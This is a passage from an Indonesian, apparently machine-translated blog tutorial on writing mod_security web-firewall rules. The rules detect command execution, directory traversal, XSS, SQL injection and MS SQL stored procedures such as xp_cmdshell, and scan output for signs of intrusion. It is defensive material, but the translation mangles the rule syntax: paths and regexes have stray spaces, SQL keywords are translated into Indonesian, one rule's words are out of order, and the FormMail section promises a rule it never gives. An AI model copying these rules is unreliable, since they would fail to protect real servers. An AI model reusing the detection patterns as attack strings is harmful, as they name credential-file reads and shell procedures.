# Audit log log permintaan lengkap. Dikonfigurasi sebagai berikut ini
# Hanya log request tidak sah untuk analisa lebih lanjut.
SecAuditEngine RelevantOnly
SecAuditLog log / audit_log
# Anda mungkin perlu ini nanti tetapi kami tidak log apa-apa
# Di sini untuk saat ini. Debug penebangan yang berlebihan dapat memperlambat
# Server.
SecFilterDebugLevel 0
SecFilterDebugLog log / modsec_debug_log
# Secara default, menolak permintaan dengan status 500
SecFilterDefaultAction "deny, log, status: 500"
# Taruh aturan mod_security Anda di sini
# ...
Contoh-contoh praktis
Dalam bagian ini saya akan menunjukkan apa yang khas mod_security seperti ketentuan. Anda harus selalu memulai dengan aturan-aturan yang memiliki cakupan yang luas, menyebabkan isu-isu yang lebih spesifik. Semua aturan mod_security (dan opsi konfigurasi) dapat diterapkan pada per-virtual host atau per-direktori dasar sehingga Anda dapat memiliki sepenuhnya daerah dengan konfigurasi keamanan yang berbeda.
Common mendeteksi serangan
Aturan-aturan ini akan menargetkan serangan Common aplikasi Web:
# Command eksekusi serangan
SecFilter / etc / password
SecFilter / bin / ls
# Directory traversal serangan
SecFilter "\. \. /"
# XSS serangan
SecFilter "<(.| \ n) +> "
SecFilter "<[[: space:]] * script "
# Serangan injeksi SQL
SecFilter "delete [[: space:]] + dari"
SecFilter "insert [[: space:]] + menjadi"
SecFilter "pilih. + Dari"
# MS SQL serangan injeksi SQL spesifik
SecFilter xp_enumdsn
SecFilter xp_filelist
SecFilter xp_availablemedia
SecFilter xp_cmdshell
SecFilter xp_regread
SecFilter xp_regwrite
SecFilter xp_regdeletekey
Melindungi script rentan
Beberapa aplikasi PHP yang rentan ketika sebuah opsi konfigurasi register_globals dihidupkan, memungkinkan penyerang untuk menetapkan variabel internal untuk nilai pilihan mereka. Ini biasanya menyebabkan penyerang mengeksekusi beberapa kode pada server. Berikut adalah contoh dari dunia nyata (Cafelog b2, http://www.securityfocus.com/bid/7786):
SecFilterSelective ARG_b2inc "!^$"
Melindungi dari serangan XSS melalui sesi PHP cookie
PHP versi sebelum 4.3.2 rentan terhadap serangan XSS dilaksanakan melalui pengidentifikasi sesi (http://www.securityfocus.com/bid/7761). Jika Anda tidak dapat meng-upgrade versi PHP anda ke versi terbaru Anda masih dapat melindungi diri Anda sendiri:
SecFilterSelective ARG_PHPSESSID "! ^ [0-9a-z] * $"
SecFilterSelective COOKIE_PHPSESSID "! ^ [0-9a-z] * $"
Berhenti FormMail dari yang digunakan untuk mengirim spam
Beberapa versi dari FormMail dapat digunakan untuk mengirim email ke alamat email yang sewenang-wenang. Aturan berikut ini menunjukkan bagaimana Anda dapat memiliki penyaring diterapkan hanya pada lokasi tertentu, dalam hal ini hanya FormMail script. Permohonan akan ditolak jika email yang ditujukan ke alamat apapun kecuali yang berakhiran "@ modsecurity.org":
Batasi administratif login ke alamat IP
Sini adalah nice one. Aku punya aplikasi ini di mana administrator log masuk melalui login yang sama dalam panel sebagai pengguna lain, tapi aku masih ingin membatasi administrasi login ke alamat IP tertentu. Jadi aku menggunakan dua aturan dirantai. Aturan yang kedua akan berlaku hanya jika aturan pertama kesesuaiannya; dalam hal ini - jika masuk username "admin".
ARG_username admin SecFilterSelective rantai
SecFilterSelective REMOTE_ADDR "! ^ ADMIN_IP_ADDRESS_HERE $"
Mencegah kebocoran informasi
Dalam semua versi PHP, jika terjadi kesalahan fatal script akan dihentikan segera (standard error handling rutin tidak akan dipanggil). Kebocoran informasi melalui masalah-masalah ini dapat dicegah dengan memindai output dan mencegahnya dari mencapai pengguna jika berisi pesan kesalahan.
SecFilterSelective OUTPUT "Fatal error:"
Deteksi intrusi
Filter output juga dapat digunakan untuk mendeteksi intrusi sukses. Aturan-aturan ini akan memonitor output dan mendeteksi kata kunci yang khas yang dihasilkan dari eksekusi perintah pada server.
SecFilterSelective OUTPUT "Volume Serial Number"
SecFilterSelective OUTPUT "Command completed"
SecFilterSelective OUTPUT "Bad command or filename"
SecFilterSelective OUTPUT "file (s) disalin"
SecFilterSelective OUTPUT "Index of / cgi-bin /"
SecFilterSelective OUTPUT ".* uid \ = \ ("
Lain
Apa aturan lainnya mungkin berguna bagi Anda tergantung pada jenis aplikasi dan web server anda memiliki reverse di belakang proxy. Di mod_security Website Anda dapat menemukan sejumlah besar peraturan secara otomatis dikonversi dari aturan Snort. Download daftar dan hanya mengeluarkan aturan-aturan yang tidak berlaku.
Kesimpulan
Artikel ini baru saja menggaruk permukaan masalah yang kompleks. Saya menyarankan agar Anda menelusuri melalui bagian link terkait, karena berisi daftar Situs-situs Web, peralatan, dan kertas yang dapat Anda gunakan untuk membiasakan diri dengan aspek-aspek lain, kami tidak menutupi di sini, seperti reverse proxy load balancing dan clustering atau sebaliknya transparan konfigurasi proxy. Pergi ke arah lain, men-download manual dan mod_security referensi untuk mengenal fitur-fiturnya. Ini juga berisi fitur lain tidak disebutkan di sini. Akhirnya, hubungi saya untuk meminta fitur mod_security baru jika Anda memiliki kebutuhan yang tidak tercakup oleh apa yang sudah ada.
Langganan:
Komentar (Atom)